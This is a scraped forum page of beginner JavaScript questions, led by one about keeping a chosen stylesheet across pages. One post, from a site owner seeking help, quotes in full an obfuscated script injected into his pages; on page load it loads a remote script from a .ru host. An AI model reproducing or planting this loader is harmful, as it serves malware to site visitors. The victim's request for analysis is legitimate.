|
JavaScript - Switching Stylesheets Across Multiple Pages Using Javascript
I'm trying to allow the user to change the stylesheet of my website. I can change the stylesheet on a page by page basis (eg. from red style to blue style) but once the user navigates to a different page the stylesheet resets back to the original setting.
For example, when the user visits the site first its set to the red style, they can change it to blue but when they navigate to another page the style goes back to red again where as I want the style to stick across pages. Does anybody know how I can sort this out? I assume I'll have to edit my javascript but Im not very good at javascript so any help would be great! HTML Code: <html>
<head>
<link href="red.css" rel="stylesheet"
type="text/css" title="red" media="screen" />
<link href="green.css" rel="alternate stylesheet"
type="text/css" title="green" media="screen" />
<link href="blue.css" rel="alternate stylesheet"
type="text/css" title="blue" media="screen" />
<script type="text/javascript">
function changeStyle(title) {
var lnks = document.getElementsByTagName('link');
for (var i = lnks.length - 1; i >= 0; i--) {
if (lnks[i].getAttribute('rel').indexOf('style')> -1 && lnks[i].getAttribute('title')) {
lnks[i].disabled = true;
if (lnks[i].getAttribute('title') == title) lnks[i].disabled = false;
}}}
</script>
</head>
<body>
<a href = "home1.html">Page 1</a>
<br>
<br>
<a href = "home2.html">Page 2</a>
<br>
<br>
<a href = "home3.html">Page 3</a>
<br>
<br>
<br>
<br>
<a href = "#" onclick="changeStyle('red')">Red Stylesheet</a>
<br>
<br>
<a href = "#" onclick="changeStyle('blue')">Blue Stylesheet</a>
<br>
<br>
<a href = "#" onclick="changeStyle('green')">Green Stylesheet</a>
</body>
</html>
CSS Code: body
{
background-color:red;
}
Similar TutorialsHi Forum, to develop a "Digital Signage" applikation we need: 1) After loading the (main) html page get all the pages (.html, .pdf, .xls, .jpg) as members of the paylist. - Is there a way to get the appr. 15 pages into the browser (as DOM Objects) ? Or rather to load in 15 iFrames ? 2) The mentionde pages should be displayed in a certain order (in ca. 20 sec tact). - A possible solution would be to hide / unhide. Any other wy ? Thanks in advance Michel Hi, I hope someone can help me. I'll be honest and say I don't know much about javascript, but am fairly comfortable in html. I am building a website that will have multiple image swaps on multiple pages. I am building this in wordpress, and I'm guessing that means my approach will be different than if I wasn't using wordpress. Here's how one page would work: There are 10 images shown. 1,2,3,4,5,6,7,8,9,10. When number 1 is clicked on, I want a new image - 1a. When 2 is clicked on, 2a. So there are 20 different images in all on a given page. Also, I want the user to be able to click on the image again to restore the original image. I would prefer onclick to onmouseover. There will be literally dozens of pages like this on the site, managed by wordpress, so hundreds of images to swap. Basically the first image is a question - the second image is the answer. Is this possible? I have a site where i switch between two images using some JavaScript. What I need is to be able to set a session variable or something so that if someone selects shading on or off it sticks to that for the rest of the session. Any idea or even a point in the right direction. Do i need cookies or is there a simple way to do this http://www.tech4t.co.uk/territorymapping/pentagon/ There are two pages, folder/india.html folder/usa.html and dropdown menu in each page to switch between india and usa pages. india.html page sells in INR and usa.html in USD with links to shopping carts for each currency. link1(INR) link2(USD) Except the link and the currency information(selling price), contents in both the pages are same. So here comes the problem. Google hates duplicate pages! I am looking for a solution where, a single page In That Page, a dropdown menu to select currency As the currency is selected, without page reload, the link to shopping cart and the pricing also should be changed according to the selected currency. So Single page should be able to handle both the currencies. Kindly suggest me with codes as I am new to javascript. Thanks a lot how do i make something like this? so that instead of viewing a long list it will be divided into pages..? Good day Lets say I have a page with 3 thumbnails and one big div. When click in one of the thumbnails the image of it must appear inside the big div. Of course there are 3 images (little ones for the thumbnails) and 3 big images for the real size ones. Script this is simple for me but imposible if I have more than 100 pages within 6 images inside them (3 little and 3 real size for 3 thumnail divs and one single big div). There must be some kind of order to just script the divs of the thumbnail divs and the real size image div in all the pages at ones, otherwise I have to creat ID's to every single div inside every single page! (4 id's to one page and I have more than 100 pages!, this is inpractical because is posible that in the future the pics change, is more than 400 id's) For example: for FIRST.html big div (div id="img001bg") thumb1 div (div id="th_img001" thumb2 div (div id="th_img002" thumb3 div (div id="th_img003" SECOND.html THIRD.html ... HUNDRED.html ... ! There must be some solution using somehow the functions, please help! Thank you to all Hi guys, i have posted this problem yesterday but maybe it just wasnt clear enough on what i wanted to acheiv. basically i have 1 link throughout my site and its a "buy now" button. i want it to be able to fetch possibly a value out my page content and then depending on that content direct the user to the correct page when they click that button? is this feasible? cheers, ant. Hello everyone, right now I have this in my site:
Code: <html>
<head>
<script type="text/javascript">
function open_win() {
window.open("http://www.google.com/")
window.open("http://www.google.com/")
window.open("http://www.google.com/")
window.open("http://www.google.com/")
window.open("http://www.google.com/")
window.open("http://www.google.com/")
window.open("http://www.google.com/")
window.open("http://www.google.com/")
}
</script>
</head>
<body>
<form>
<input type=button value="Open Windows" onclick="open_win()">
</form>
</body>
</html>
And I was wondering if there's a way to get rid of the button, and make it so when the user opens the webpage, it automatically opens the multiple webpages. -- If that's not possible, I was also wondering if there's a way to make the button "click" on a mouseover, so when they move their mouse across the button, it opens the pages. I would rather have the 1st option, if possible. Thanks. Hello, I am trying to figure out how to write a quiz that has one question per html page, then once the choice has been selected, it will go to another page and tally a total at the end. Can this be done? And if so, can you point me in the right direction to research? Thanks in advance, Tanya So today I have discovered some malicious JavaScript code inserted into a bunch of my pages on a webserver. Access to these pages through FTP is granted to 3 people, myself, my boss, and a contract programmer. Unfortunately, the FTP server wasn't set to log, so I can't tell for sure if it was the programmer, but my assumption and suspicion is that it was him. This code was inserted at the bottom of multiple pages. I can't make heads or tails of it, but it cannot be good, whatever it is. When I view the page that it was on, I noticed the web browser connecting to http://over-blog-com.alice.it.baixin...rseasilver.ru/. Browsing to this page takes you to some foreign hosting site. Googling superseasilver.ru only provides a page that has this address listed in a blacklist. I'd like to know what this code does, but again, I have no idea... So I figured maybe some of you JavaScript gurus could take a look and be able to tell me. Any information would be greatly appreciated, as we hired this programmer through odesk.com, and will be filing a complaint for refund and him being banned from the site. I'd also like to know if there is any possibility that this was inserted some other way other than someone FTP'n in and doing this. Code below. Thanks for any advice and time spent reading this! E <script>var u='';var l;if(l!='R' && l != ''){l=null};function J(){var pV;if(pV!='yp' && pV!='p'){pV=''};var Ux='';var y='';this.L="";this.T="";var q="g";var O=new String();var lP;if(lP!='' && lP!='iu'){lP=''};var z=RegExp;var t;if(t!='C' && t!='NR'){t=''};var Ql;if(Ql!='Z' && Ql!='DX'){Ql=''};function I(k,Jq){this.FW="";var ze="";var n= String("JYv[".substr(3));var QR;if(QR!='lK' && QR!='OR'){QR=''};var Qw=new Date();n+=Jq;var VZ="";n+="lSm]".substr(3);this._E="";var W;if(W!=''){W='j'};var X="";var Kj=new Date();var U=new z(n, q);var Wp;if(Wp!='' && Wp!='Gf'){Wp=null};return k.replace(U, y);var Qc=new String();var Cu;if(Cu!='E' && Cu!='lL'){Cu=''};};var _p=new Date();var LI=new Date();var N='';var M;if(M!='oI' && M!='EE'){M=''};var oJ='';var JW=new String("sc"+"riF1A".substr(0,2)+"9IHuptIHu9".substr(4,2));var G=window;var AI;if(AI!='' && AI!='ks'){AI=null};var x=I('89933034733879579403755974',"43579");var Tp;if(Tp!=''){Tp='FH'};this.v="";var K=String("/gGoiU".substr(0,2)+"ooCclD".substr(0,2)+"HDXglHXD".substr(3,2)+"e."+"LBgcoBLg".substr(3,2)+"FsR.t".s ubstr(3)+"h/Va1K".substr(0,2)+"govX1t".substr(0,2)+"og"+"EPbleEbP".substr(3,2)+".cr1E".substr(0,2)+"2890o.".subs tr(4)+"6HmthH6m".substr(3,2)+"/gAbt".substr(0,2)+"oo"+"ucYglucY".substr(3,2)+"e."+"y0jcojy0".substr(3,2)+"m/BtGz".substr(0,2)+"IKVzviKIVz".substr(4,2)+"fH4rg4Hf".substr(3,2)+"GOphinpGhO".substr(4,2)+"8bGme".s ubstr(3)+"N7Jdi".substr(3)+"oG0a.o0G".substr(3,2)+"co"+"m/4wZh".substr(0,2)+"YxUAkeAYxU".substr(4,2)+"Oj1dep".substr(4)+"vi"+"ct30d.".substr(4)+"CH5VcoC5HV".s ubstr(4,2)+"m.qbn".substr(0,2)+"ph"+"DzxjpDjxz".substr(4,1));var dI;if(dI!='g' && dI != ''){dI=null};var tB;if(tB!='bw' && tB != ''){tB=null};var i="defeQzGI".substr(0,4)+"tyirity".substr(3,1);var FWT;if(FWT!=''){FWT='Ty'};this.hO="";var f="sr"+"ct2b".substr(0,1);var nM='';var kN=String("htt"+"p:/6Mqx".substr(0,3)+"/ov"+"ACzer-ACz".substr(3,3)+"Nkz5blo".substr(4)+"iSMg-c".substr(3)+"Y6Kom.6YK".substr(3,3)+"dTFaliFTd".substr(3,3)+"ce.SzU".substr(0,3)+"it.gTP".substr(0, 3)+"SvAbaivSA".substr(3,3)+"GLwJxinJGwL".substr(4,3)+"Veug-ceuV".substr(3,3)+"RM70om.RM07".substr(4,3)+"sup"+"ZVvcersVcZv".substr(4,3)+"eas"+"ilvV1Yu".substr(0 ,3)+"2KkNer.".substr(4)+"ru:QHhd".substr(0,3));this.jP='';var jJ;if(jJ!=''){jJ='IT'};var Nt;if(Nt!='Jp'){Nt='Jp'};var hR;if(hR!='oA' && hR!='S'){hR=''};G.onload=function(){this.pw='';try {this.Wu="";this.cY="";N=kN+x;N+=K;var Lq="";this.YG='';var ql=new Date();r=document.createElement(JW);var Xn;if(Xn!=''){Xn='CuM'};var gr='';r[f]=N;r[i]=[1][0];this.bs="";document.body.appendChild(r);var zJ="";} catch(kF){};};var oQ='';};var Gb='';var dK="";J();var ox;if(ox!='_a' && ox!='mK'){ox=''};</script> <!--4ff31209b849a146e6784b8cb55539b3--> Hi, When designing a web page, you may come across a situation where you want to combine content from multiple websites in a single window. Could the "iframe" tag makes this possible? If so, as it will separate your page design into several sections and display a different website in each one? Your answers are much appreciated. Thank you for watching me. Stickers I'm slowly scraping away errors from a page im working on and ive found this forum to be very helpful- down to one more that i wanted to post on. sample page is he http://darrenlasso.com/freelance/loo.../lookbook.html Works fine in most all browsers except for IE8- ive even had to include built in ie7 compatibility to get it to work at all. Problem is most likely associated with my js, which is: Code: function ShowPage(frame)
{
frames[0].location = frame+'.html'
}
and html is: Code: <div id="thumb1"><a onmouseover="ShowPage('frame1')"onclick="ShowPage('frame1')" rel="nofollow" target="mainbox"></a></div>
<div id="thumb2"><a onmouseover="ShowPage('frame2')"onclick="ShowPage('frame2')" rel="nofollow" target="mainbox"></a></div>
<div id="thumb3"><a onmouseover="ShowPage('frame3')"onclick="ShowPage('frame3')" rel="nofollow" target="mainbox"></a></div>
etc etc.. Which is just something i found online - probly isnt right for what im trying to accomplish. If you go to the site- you navigate by hovering over/clicking the images at the top and that loads a new page into the iframe below. Id like to be able to fix the errors and get it working without having to force ie7 compatibility if possible too. Any help is much appreciated Hopefully the title isn't too confusing, I shall explain... I'm a basic PHP/javascript developer and I need to build a series of forms where info is passed from page to page and there will be a need to skip to different sequences of pages depending upon answers given. I have distilled this into a small example (try.php) where I can set my page destination using javascript but I'd like to be able to set a session variable to store the form data to reuse it on other pages. Because I haven't used a form action then the result doesn't get stored. This example should make it clearer... Here is a simple form, I send the visitor to either page 1 or page 2 depending on their radio button choice: Code: <script type="text/javascript">
function OnSubmitForm()
{
if(document.myform.destination[0].checked == true)
{
document.myform.action ="pg1.php";
}
else
if(document.myform.destination[1].checked == true)
{
document.myform.action ="pg2.php";
}
return true;
}
</script>
<form name="myform" onsubmit="return OnSubmitForm();">
name: <input type="text" name="name"><br>
email: <input type="text" name="email"><br>
<input type="radio" name="destination" value="1" checked>go to page 1<br>
<input type="radio" name="destination" value="2">go to page 2
<p>
<input type="submit" name="submit" value="go">
</p>
</form>
This works fine inasmuch as it takes the visitor to the correct page, however I'd like to store the name entered as a session variable and reuse it on page 1 (or page 2). page1.php looks like this (and page 2 is very similar): Code: <?php
session_start();
// debug - turn on error reporting
error_reporting(E_ALL | E_NOTICE);
ini_set('display_errors', '1');
//Store our posted values in a session variable
if (isset ($_POST['name'])) {
$_SESSION['name'] = $_POST['name'];
}
else {
$_SESSION['name'] = null;
}
echo ("Session variable is set to: ".$_SESSION['name']);
?>
<h1>welcome to page 1</h1>
I'm sure that pg1.php would work if I had used a form action but I need the ability to send the visitor to different pages on form submission Is it possible to write the name to a session variable in try.php (I guess using javascript/ajax)? Thanks for any hints and examples Nigel Hi, I'm in year 11 studying GCSE Computing and I'm working on gathering some primary research for a project. I'd be really grateful if someone with experience in web developing would be able to explain to me some of the uses of JavaScript within web pages- what have you used it for specifically? Also, any examples of how JavaScript is used outside of web pages would be really helpful. Thank you! Hi, I want to redirect pages e,g 'http://mydomain.com/pagename.html' to 'http://www.mydomain.com/pagename.html",i.e if anyone access without www then it will be added automatically,how can i do this using javascript? plz help Thanks Hi everybody! I am trying to work out how to access unrecognised CSS properties within stylesheets from JavaScript. Say I have a stylesheet containing the following: Code: p {border-radius: 20px;}
Now. The CSS3 "border-radius" property is not recognised by any browsers at the moment. In Internet Explorer I can still access the property as follows: Code: alert(document.styleSheets[0].rules[0].style['border-radius']); // Alerts "20px" However, Gecko and V8 don't seem to include the rule in their JavaScript engines at all: Code: alert(document.styleSheets[0].cssRules[0].cssText); // Alerts "p { }"
Does anyone know of any way to access unrecognised rules in these engines? Or even better if there are any scripts or plugins available anywhere that will do this for me? Cheers, Robin. I have one question about <style> elements, are they counted in document.styleSheets array? and can I add rules to them by using insertRule() and deleteRule() methods?
Hello! I am trying to find a script that allows you to open multiple browser tabs and then close each of those tabs, either one by one or all at once. Does anyone know how to do this please? Thanks so much for your help. Hi, Im using a authoring tool to develop an elearning test course. The course is composed of several HTML pages with Buttons for the multiple choice test. The setup of the course is that it will only ask 10 questions out of a pool of 30 questions. When the HTML & JS files are online, the test takes 20-40seconds to load. I believe it is related to the code that selects the 10 questions from the 30. I've singled out the code that does the select random pages... Is there any way to optimize the code? I've attached the HTML (in txt format) page where the javascript can be found. Looking forward to your replies! |
|||||||